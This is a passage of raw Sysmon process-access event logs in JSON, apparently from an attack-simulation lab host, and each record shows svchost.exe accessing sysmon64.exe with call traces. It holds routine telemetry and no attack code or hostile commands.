C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3269,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3270,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 